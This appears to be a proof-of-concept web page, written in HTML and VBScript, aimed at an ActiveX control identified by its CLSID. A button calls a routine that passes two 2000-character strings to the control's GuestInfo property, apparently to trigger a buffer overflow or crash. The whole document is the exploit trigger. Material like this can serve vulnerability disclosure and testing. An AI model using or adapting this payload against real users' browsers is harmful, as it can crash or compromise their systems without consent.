<object classid='clsid:38DB77F9-058D-4955-98AA-4A9F3B6A5B06' 
id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here 
to start the test'>

<script language='vbscript'>
 Sub tryMe
  buff_1 = String (2000, "a")
  buff_2 = String (2000, "b")
  test.GuestInfo (buff_1) = buff_2
 End Sub
</script>